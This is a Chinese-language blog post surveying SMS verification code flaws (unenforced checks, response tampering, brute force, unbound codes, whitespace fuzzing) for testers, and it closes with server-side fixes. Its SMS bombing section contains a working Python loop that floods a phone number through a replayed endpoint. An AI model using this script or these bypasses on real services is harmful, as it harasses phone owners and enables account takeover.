手機驗證碼常見漏洞總結


0X00 前言

  手機驗證碼在web應用中得到越來越多的應用,通常在用戶登陸,用戶注冊,密碼重置等業務模塊用手機驗證碼進行身份驗證。針對手機驗證碼可能存在的問題,收集了一些手機驗證碼漏洞的案例,這里做一個歸納總結,在測試中,讓自己的思路更加明確。常見的手機驗證碼漏洞如下: 

1、無效驗證

2、客戶端驗證繞過

3、短信轟炸

4、驗證碼爆破

5、驗證碼與手機號未綁定

0X01 無效驗證

  有驗證碼模塊,但驗證模塊與業務功能沒有關聯性,此為無效驗證,一般在新上線的系統中比較常見。

案例一: 

  獲取短信驗證碼后,隨意輸入驗證碼,直接輸入兩次密碼,可成功更改用戶密碼,沒有對短信驗證碼進行驗證,可能導致CSRF等問題。

案例二:任意用戶注冊

  第一步,利用自己的手機號接收驗證碼進行驗證,下一步跳轉到一個設定密碼的頁面

  第二步,抓包,篡改手機號,使用任意手機號進行注冊

問題剖析:業務一致性存在安全隱患,身份驗證與密碼修改過程分開,驗證無效。

參考鏈接:https://woo.49.gs/static/bugs/wooyun-2016-0189300.html

        https://woo.49.gs/static/bugs/wooyun-2013-026652.html

0X02 客戶端驗證繞過 

  客戶端驗證是不安全的,可能導致任意賬號注冊、登錄及重置任意用戶密碼等一系列問題。

案例一:直接返回明文驗證碼

  點擊獲取收集驗證碼,監聽到兩條json數據,可以發現驗證碼就藏在ticket里面,輸入9360即可登陸成功。

案例二:返回密文驗證碼

  驗證加密后返回客戶端,用戶解密即可獲取驗證碼。

 

案例三:攔截替換返回包

  第一步,使用正常賬號修改密碼,獲取驗證碼通過時服務器返回數據,保存該信息

  第二步,使用fiddler下斷,之后點擊確定,服務器會返回驗證碼錯誤之類的信息,使用{"MessageHeader":{"MessageID":"RSP036","ErrorCode":"S000","Description":"成功!"}}此信息進行替換后再執行,密碼修改成功。

問題剖析:常見於APP等客戶端軟件,通過攔截替換返回信息,繞過客戶端本地驗證。

參考鏈接:吉祥航空可以繞過手機驗證碼修改任意賬號密碼 

      http://cb.drops.wiki/bugs/wooyun-2015-0104509.html

0X03 短信轟炸

  短信轟炸是手機驗證碼漏洞中最常見的一種漏洞類型。

  在測試的過程中,對短信驗證碼接口進行重放,導致大量發送惡意短信。

案例一:無限制,任意下發

案例二:有一定時間間隔,無限下發

  每隔60秒可下發一條短信,無限下發,短信轟炸。在測試過程中,可通過編寫Python腳本來計算短信下發時間間隔,實現短信轟炸。

 

#coding=utf-8
import json
import requests
import time
start_time = time.time()
count =input("Please input counts:")
phone =raw_input("Please inut your phone:")
i=0
while (i<count):
    url= "http://xxxx.cn:9092/map/GenerationUpdate"
    data=json.dumps({"headerInfo": { "functionCode": "randomcode4G"},"requestContent":{"phoneNumber":phone}})

    header = { 'User-Agent' : 'Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Version/10.0 Mobile/14D27 Safari/602.1''Host': 'xxxx.com:9092',
        }  
    r = requests.post(url, data=data,headers=header,timeout=5)
    result=r.content
    if result.count('serviceCode":0'):
        print 'Sending message : %d seconds ' % (time.time()-start_time)
    i=i+1
    #print 'send %s time'%(i)

0X04 驗證碼爆破 

  短信驗證碼一般由4位或6位數字組成,若服務端未對驗證時間、次數進行限制,則存在被爆破的可能。

  輸入手機號獲取驗證碼,輸入任意短信驗證碼,發起請求,抓包,將短信驗證碼字段設置成payloads取值范圍為000000-999999進行暴力破解,根據返回響應包長度判斷是否爆破成功。

0X05 驗證碼與手機號未綁定

  一般來說短信驗證碼僅能使用一次,驗證碼和手機號未綁定,驗證碼一段時期內有效,那么就可能出現如下情況:

  1、A手機的驗證碼,B可以拿來用

  2、A手機在一定時間間隔內接到兩個驗證碼,都可以用。(該問題可能為產品策略設定,參考鏈接:https://woo.49.gs/static/bugs/wooyun-2012-08679.html)

  檢測接收驗證碼的手機號和綁定的手機號是否一致。

案例一:任意用戶密碼重置

  1.使用自己手機號收取驗證碼

  2.自己的驗證碼和對方的手機號填上,下一步城管設置新密碼

 

 

0X06 代碼層邏輯缺陷

如果代碼層的邏輯是這樣子:
  1、驗證手機號是否已發送給驗證碼
  2、去除用戶輸入的空格和其他特殊字符
  3、重新發送驗證碼

 那么,可利用"\n"和空格可繞過,持續遞增空格就可造成無限短信轟炸。

思路:有空就在手機號號碼后面加一位進行FUZZ,可能會發現不一樣的驚喜。

 

 

 參考鏈接:

https://woo.49.gs/static/bugs/wooyun-2014-080315.html

https://woo.49.gs/static/bugs/wooyun-2012-013836.html

 

解決方案:

  1.在服務器進行有效驗證,手機號和驗證碼在服務器進行唯一性綁定驗證。

  2.在服務端限制驗證碼發送周期,設置時效,限制次數。

 

最后

歡迎關注個人微信公眾號:Bypass--,每周原創一篇技術干貨。 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM